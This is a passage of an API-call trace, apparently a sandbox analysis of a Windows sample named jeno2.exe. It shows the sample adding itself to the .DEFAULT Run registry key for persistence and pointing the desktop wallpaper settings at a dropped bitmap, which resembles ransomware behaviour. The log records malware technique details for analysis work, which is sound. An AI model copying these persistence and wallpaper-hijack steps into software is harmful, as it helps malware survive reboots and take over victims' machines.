lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.092] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0176.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=19, lpMultiByteStr=0x14f560c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConvertedWallpaper", lpUsedDefaultChar=0x0) returned 19 [0176.092] RegSetValueExA (in: hKey=0x720, lpValueName="ConvertedWallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.092] GetLastError () returned 0x0 [0176.092] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0176.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=18, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0176.092] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0176.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=19, lpWideCharStr=0x14b4f74, cchWideChar=37 | out: lpWideCharStr="ConvertedWallpaper") returned 19 [0176.092] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.092] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=21, lpWideCharStr=0x1433584, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.092] RegFlushKey (hKey=0x720) returned 0x0 [0176.120] GetLastError () returned 0x0 [0176.120] RegCloseKey (hKey=0x720) returned 0x0 [0176.120] GetLastError () returned 0x0 [0176.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x145246c, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0176.120] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0176.120] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.120] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0176.120] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0176.120] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0176.120] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.121] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0176.121] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0176.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0176.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x14b4f74, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0176.121] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f50 | out: hHeap=0x3820000) returned 1 [0176.121] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0176.121] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.121] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0176.121] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0176.121] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0176.121] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.121] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0176.121] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0176.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0176.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x14f560c, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0176.122] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383e150 | out: hHeap=0x3820000) returned 1 [0176.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0176.122] VarCat (in: pvarLeft=0x18ecdc, pvarRight=0x18eccc, pvarResult=0x18ecbc | out: pvarResult=0x18ecbc) returned 0x0 [0176.122] VarCat (in: pvarLeft=0x18ecbc, pvarRight=0x18ec3c, pvarResult=0x18ecac | out: pvarResult=0x18ecac) returned 0x0 [0176.122] VarCat (in: pvarLeft=0x18ecac, pvarRight=0x18ec9c, pvarResult=0x18ec8c | out: pvarResult=0x18ec8c) returned 0x0 [0176.122] VarCat (in: pvarLeft=0x18ec8c, pvarRight=0x18ec2c, pvarResult=0x18ec7c | out: pvarResult=0x18ec7c) returned 0x0 [0176.122] VarCat (in: pvarLeft=0x18ec7c, pvarRight=0x18ec6c, pvarResult=0x18ec5c | out: pvarResult=0x18ec5c) returned 0x0 [0176.122] VarCat (in: pvarLeft=0x18ec5c, pvarRight=0x18ec1c, pvarResult=0x18ec4c | out: pvarResult=0x18ec4c) returned 0x0 [0176.122] SysStringLen (param_1=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x36 [0176.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0176.122] SysStringLen (param_1=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x36 [0176.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=55, lpMultiByteStr=0x14b4c5c, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", lpUsedDefaultChar=0x0) returned 55 [0176.122] RegOpenKeyA (in: hKey=0x80000003, lpSubKey=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.122] GetLastError () returned 0x0 [0176.122] SysStringByteLen (bstr="䐮䙅啁呌卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x36 [0176.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0176.123] SysStringByteLen (bstr="䐮䙅啁呌卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x36 [0176.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=55, lpWideCharStr=0x1445ffc, cchWideChar=109 | out: lpWideCharStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 55 [0176.123] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0176.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.123] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0176.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=31, lpMultiByteStr=0x14b4c5c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\jeno2.exe\" -ui", lpUsedDefaultChar=0x0) returned 31 [0176.123] SysStringLen (param_1="BJCMQL") returned 0x6 [0176.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.123] SysStringLen (param_1="BJCMQL") returned 0x6 [0176.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=7, lpMultiByteStr=0x1452454, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BJCMQL", lpUsedDefaultChar=0x0) returned 7 [0176.123] RegSetValueExA (in: hKey=0x720, lpValueName="BJCMQL", Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\jeno2.exe\" -ui", cbData=0x1e | out: lpData="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x0 [0176.124] GetLastError () returned 0x0 [0176.124] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0176.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0176.124] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0176.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=7, lpWideCharStr=0x14f5634, cchWideChar=13 | out: lpWideCharStr="BJCMQL") returned 7 [0176.125] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0176.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.125] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0176.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=31, lpWideCharStr=0x144265c, cchWideChar=61 | out: lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 31 [0176.125] RegFlushKey (hKey=0x720) returned 0x0 [0176.173] GetLastError () returned 0x0 [0176.173] RegCloseKey (hKey=0x720) returned 0x0 [0176.174] GetLastError () returned 0x0 [0176.174] SysStringLen (param_1=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0176.175] SysStringLen (param_1=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=67, lpMultiByteStr=0x144265c, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 67 [0176.175] RegOpenKeyA (in: hKey=0x80000003, lpSubKey=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0176.175] GetLastError () returned 0x0 [0176.175] SysStringByteLen (bstr="䐮䙅啁呌卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144265c, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0176.175] SysStringByteLen (bstr="䐮䙅啁呌卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144265c, cbMultiByte=67, lpWideCharStr=0x1446d5c, cchWideChar=133 | out: lpWideCharStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 67 [0176.175] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.175] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.175] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.175] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x1452454, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0176.176] RegSetValueExA (hKey=0x0, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData=0x14f560c, cbData=0x14) returned 0x6 [0176.176] GetLastError () returned 0x0 [0176.176] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0176.176] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=10, lpWideCharStr=0x14f5634, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0176.176] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.176] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpWideCharStr=0x14b4c5c, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.176] RegFlushKey (hKey=0x0) returned 0x6 [0176.176] GetLastError () returned 0x0 [0176.176] RegCloseKey (hKey=0x0) returned 0x6 [0176.176] GetLastError () returned 0x0 [0176.176] SysStringLen (param_1=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0176.177] SysStringLen (param_1=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=67, lpMultiByteStr=0x1445ffc, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 67 [0176.177] RegOpenKeyA (in: hKey=0x80000003, lpSubKey=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0176.177] GetLastError () returned 0x0 [0176.177] SysStringByteLen (bstr="䐮䙅啁呌卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0176.177] SysStringByteLen (bstr="䐮䙅啁呌卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=67, lpWideCharStr=0x1446d5c, cchWideChar=133 | out: lpWideCharStr=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 67 [0176.177] SysStringLen (param_1="0") returned 0x1 [0176.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0176.177] SysStringLen (param_1="0") returned 0x1 [0176.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x14f560c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0176.177] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.177] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5634, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0176.177] RegSetValueExA (hKey=0x0, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData=0x14f560c, cbData=0x1) returned 0x6 [0176.178] GetLastError () returned 0x0 [0176.178] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0176.178] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=15, lpWideCharStr=0x14b4c5c, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0176.178] SysStringByteLen (bstr="0") returned 0x1 [0176.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0176.178] SysStringByteLen (bstr="0") returned 0x1 [0176.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=2, lpWideCharStr=0x1452454, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0176.178] RegFlushKey (hKey=0x0) returned 0x6 [0176.178] GetLastError () returned 0x0 [0176.178] RegCloseKey (hKey=0x0) returned 0x6 [0176.178] GetLastError () returned 0x0 [0176.178] SysStringLen (param_1=" ") returned 0x104 [0176.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=260, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 260 [0176.178] SysStringLen (param_1=" ") returned 0x104 [0176.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=261, lpMultiByteStr=0x14e628c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 261 [0176.179] RegEnumKeyA (in: hKey=0x80000003, dwIndex=0x1, lpName=0x14e628c, cchName=0x104 | out: lpName="S-1-5-19") returned 0x0 [0176.179] GetLastError () returned 0x0 [0176.179] SysStringByteLen (bstr="ⵓⴱⴵ㤱 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0176.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14e628c, cbMultiByte=260, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 260 [0176.179] SysStringByteLen (bstr="ⵓⴱⴵ㤱 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0176.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14e628c, cbMultiByte=261, lpWideCharStr=0x53ccd0c, cchWideChar=521 | out: lpWideCharStr="S-1-5-19") returned 261 [0176.179] SysStringLen (param_1="S-1-5-19\\Control Panel\\Desktop") returned 0x1e [0176.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.179] SysStringLen (param_1="S-1-5-19\\Control Panel\\Desktop") returned 0x1e [0176.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b4c5c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-19\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.180] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-19\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.180] GetLastError () returned 0x0 [0176.180] SysStringByteLen (bstr="ⵓⴱⴵ㤱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.180] SysStringByteLen (bstr="ⵓⴱⴵ㤱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=31, lpWideCharStr=0x1446d5c, cchWideChar=61 | out: lpWideCharStr="S-1-5-19\\Control Panel\\Desktop") returned 31 [0176.180] SysStringLen (param_1="0") returned 0x1 [0176.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0176.180] SysStringLen (param_1="0") returned 0x1 [0176.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x1452454, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0176.181] SysStringLen (param_1="TileWallpaper") returned 0xd [0176.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.181] SysStringLen (param_1="TileWallpaper") returned 0xd [0176.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=14, lpMultiByteStr=0x14f5e2c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TileWallpaper", lpUsedDefaultChar=0x0) returned 14 [0176.181] RegSetValueExA (in: hKey=0x720, lpValueName="TileWallpaper", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x1 | out: lpData="0") returned 0x0 [0176.181] GetLastError () returned 0x0 [0176.181] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0176.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0176.181] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0176.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=14, lpWideCharStr=0x14f5b84, cchWideChar=27 | out: lpWideCharStr="TileWallpaper") returned 14 [0176.181] SysStringByteLen (bstr="0") returned 0x1 [0176.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0176.181] SysStringByteLen (bstr="0") returned 0x1 [0176.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, 